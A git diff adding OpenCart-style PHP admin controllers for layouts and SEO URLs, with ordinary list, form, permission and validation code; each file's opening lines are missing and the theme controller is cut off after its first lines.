diff --git a/public/admin/controller/design/layout.php b/public/admin/controller/design/layout.php
new file mode 100644
index 0000000..a42b540
--- /dev/null
+++ b/public/admin/controller/design/layout.php
@@ -0,0 +1,464 @@
+load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_layout->addLayout($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/layout');
+
+ $this->document->addScript('view/javascript/jquery/Sortable.js');
+ $this->document->addScript('view/javascript/jquery/jquery-sortable.js');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_layout->editLayout($this->request->get['layout_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/layout');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/layout');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $layout_id) {
+ $this->model_design_layout->deleteLayout($layout_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/layout/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/layout/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['layouts'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $layout_total = $this->model_design_layout->getTotalLayouts();
+
+ $results = $this->model_design_layout->getLayouts($filter_data);
+
+ foreach ($results as $result) {
+ $data['layouts'][] = array(
+ 'layout_id' => $result['layout_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('design/layout/edit', 'user_token=' . $this->session->data['user_token'] . '&layout_id=' . $result['layout_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $layout_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($layout_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($layout_total - $this->config->get('config_limit_admin'))) ? $layout_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $layout_total, ceil($layout_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/layout_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['layout_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['layout_id'])) {
+ $data['action'] = $this->url->link('design/layout/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/layout/edit', 'user_token=' . $this->session->data['user_token'] . '&layout_id=' . $this->request->get['layout_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['layout_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $layout_info = $this->model_design_layout->getLayout($this->request->get['layout_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($layout_info)) {
+ $data['name'] = $layout_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ if (isset($this->request->post['layout_route'])) {
+ $data['layout_routes'] = $this->request->post['layout_route'];
+ } elseif (isset($this->request->get['layout_id'])) {
+ $data['layout_routes'] = $this->model_design_layout->getLayoutRoutes($this->request->get['layout_id']);
+ } else {
+ $data['layout_routes'] = array();
+ }
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ $data['extensions'] = array();
+
+ // Get a list of installed modules
+ $extensions = $this->model_setting_extension->getInstalled('module');
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($extensions as $code) {
+ $this->load->language('extension/module/' . $code, 'extension');
+
+ $module_data = array();
+
+ $modules = $this->model_setting_module->getModulesByCode($code);
+
+ foreach ($modules as $module) {
+ $module_data[] = array(
+ 'name' => strip_tags($module['name']),
+ 'code' => $code . '.' . $module['module_id']
+ );
+ }
+
+ if ($this->config->has('module_' . $code . '_status') || $module_data) {
+ $data['extensions'][] = array(
+ 'name' => strip_tags($this->language->get('extension')->get('heading_title')),
+ 'code' => $code,
+ 'module' => $module_data
+ );
+ }
+ }
+
+ // Modules layout
+ if (isset($this->request->post['layout_module'])) {
+ $layout_modules = $this->request->post['layout_module'];
+ } elseif (isset($this->request->get['layout_id'])) {
+ $layout_modules = $this->model_design_layout->getLayoutModules($this->request->get['layout_id']);
+ } else {
+ $layout_modules = array();
+ }
+
+ $data['layout_modules'] = array();
+
+ // Add all the modules which have multiple settings for each module
+ foreach ($layout_modules as $layout_module) {
+ $part = explode('.', $layout_module['code']);
+
+ if (!isset($part[1])) {
+ $data['layout_modules'][] = array(
+ 'code' => $layout_module['code'],
+ 'edit' => $this->url->link('extension/module/' . $part[0], 'user_token=' . $this->session->data['user_token'], true),
+ 'position' => $layout_module['position'],
+ 'sort_order' => $layout_module['sort_order']
+ );
+ } else {
+ $module_info = $this->model_setting_module->getModule($part[1]);
+
+ if ($module_info) {
+ $data['layout_modules'][] = array(
+ 'code' => $layout_module['code'],
+ 'edit' => $this->url->link('extension/module/' . $part[0], 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $part[1], true),
+ 'position' => $layout_module['position'],
+ 'sort_order' => $layout_module['sort_order']
+ );
+ }
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/layout_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/layout')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/layout')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('catalog/product');
+ $this->load->model('catalog/category');
+ $this->load->model('catalog/information');
+ $this->load->model('catalog/manufacturer');
+
+ foreach ($this->request->post['selected'] as $layout_id) {
+ if ($this->config->get('config_layout_id') == $layout_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByLayoutId($layout_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByLayoutId($layout_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+
+ $category_total = $this->model_catalog_category->getTotalCategoriesByLayoutId($layout_id);
+
+ if ($category_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_category'), $category_total);
+ }
+
+ $manufacturer_total = $this->model_catalog_manufacturer->getTotalManufacturerByLayoutId($layout_id);
+
+ if ($manufacturer_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_manufacturer'), $manufacturer_total);
+ }
+
+ $information_total = $this->model_catalog_information->getTotalInformationsByLayoutId($layout_id);
+
+ if ($information_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_information'), $information_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/design/seo_url.php b/public/admin/controller/design/seo_url.php
new file mode 100644
index 0000000..73a044b
--- /dev/null
+++ b/public/admin/controller/design/seo_url.php
@@ -0,0 +1,544 @@
+load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_seo_url->addSeoUrl($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_seo_url->editSeoUrl($this->request->get['seo_url_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/seo_url');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/seo_url');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $seo_url_id) {
+ $this->model_design_seo_url->deleteSeoUrl($seo_url_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_query'])) {
+ $filter_query = $this->request->get['filter_query'];
+ } else {
+ $filter_query = '';
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $filter_keyword = $this->request->get['filter_keyword'];
+ } else {
+ $filter_keyword = '';
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $filter_store_id = $this->request->get['filter_store_id'];
+ } else {
+ $filter_store_id = '';
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $filter_language_id = $this->request->get['filter_language_id'];
+ } else {
+ $filter_language_id = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'keyword';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/seo_url/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/seo_url/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['seo_urls'] = array();
+
+ $filter_data = array(
+ 'filter_query' => $filter_query,
+ 'filter_keyword' => $filter_keyword,
+ 'filter_store_id' => $filter_store_id,
+ 'filter_language_id' => $filter_language_id,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $seo_url_total = $this->model_design_seo_url->getTotalSeoUrls($filter_data);
+
+ $results = $this->model_design_seo_url->getSeoUrls($filter_data);
+
+ foreach ($results as $result) {
+ $data['seo_urls'][] = array(
+ 'seo_url_id' => $result['seo_url_id'],
+ 'query' => $result['query'],
+ 'keyword' => $result['keyword'],
+ 'store' => $result['store_id'] ? $result['store'] : $this->language->get('text_default'),
+ 'language' => $result['language'],
+ 'edit' => $this->url->link('design/seo_url/edit', 'user_token=' . $this->session->data['user_token'] . '&seo_url_id=' . $result['seo_url_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_query'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=query' . $url, true);
+ $data['sort_keyword'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=keyword' . $url, true);
+ $data['sort_store'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=store' . $url, true);
+ $data['sort_language'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . '&sort=language' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_query'])) {
+ $url .= '&filter_query=' . urlencode(html_entity_decode($this->request->get['filter_query'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode(html_entity_decode($this->request->get['filter_keyword'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_store_id'])) {
+ $url .= '&filter_store_id=' . $this->request->get['filter_store_id'];
+ }
+
+ if (isset($this->request->get['filter_language_id'])) {
+ $url .= '&filter_language_id=' . $this->request->get['filter_language_id'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $seo_url_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($seo_url_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($seo_url_total - $this->config->get('config_limit_admin'))) ? $seo_url_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $seo_url_total, ceil($seo_url_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_query'] = $filter_query;
+ $data['filter_keyword'] = $filter_keyword;
+ $data['filter_store_id'] = $filter_store_id;
+ $data['filter_language_id'] = $filter_language_id;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/seo_url_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['seo_url_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['query'])) {
+ $data['error_query'] = $this->error['query'];
+ } else {
+ $data['error_query'] = '';
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['seo_url_id'])) {
+ $data['action'] = $this->url->link('design/seo_url/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/seo_url/edit', 'user_token=' . $this->session->data['user_token'] . '&seo_url_id=' . $this->request->get['seo_url_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/seo_url', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['seo_url_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $seo_url_info = $this->model_design_seo_url->getSeoUrl($this->request->get['seo_url_id']);
+ }
+
+ if (isset($this->request->post['query'])) {
+ $data['query'] = $this->request->post['query'];
+ } elseif (!empty($seo_url_info)) {
+ $data['query'] = $seo_url_info['query'];
+ } else {
+ $data['query'] = '';
+ }
+
+ if (isset($this->request->post['keyword'])) {
+ $data['keyword'] = $this->request->post['keyword'];
+ } elseif (!empty($seo_url_info)) {
+ $data['keyword'] = $seo_url_info['keyword'];
+ } else {
+ $data['keyword'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['store_id'])) {
+ $data['store_id'] = $this->request->post['store_id'];
+ } elseif (!empty($seo_url_info)) {
+ $data['store_id'] = $seo_url_info['store_id'];
+ } else {
+ $data['store_id'] = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['language_id'])) {
+ $data['language_id'] = $this->request->post['language_id'];
+ } elseif (!empty($seo_url_info)) {
+ $data['language_id'] = $seo_url_info['language_id'];
+ } else {
+ $data['language_id'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/seo_url_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/seo_url')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['query']) {
+ $this->error['query'] = $this->language->get('error_query');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($this->request->post['keyword']);
+
+ foreach ($seo_urls as $seo_url) {
+ if ($seo_url['store_id'] == $this->request->post['store_id'] && $seo_url['query'] != $this->request->post['query']) {
+ $this->error['keyword'] = $this->language->get('error_exists');
+
+ break;
+ }
+ }
+
+ if (!$this->request->post['keyword']) {
+ $this->error['keyword'] = $this->language->get('error_keyword');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/seo_url')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/design/theme.php b/public/admin/controller/design/theme.php
new file mode 100644
index 0000000..1ed53a7
--- /dev/null
+++ b/public/admin/controller/design/theme.php
@@ -0,0 +1,311 @@
+load->language('design/theme');
+
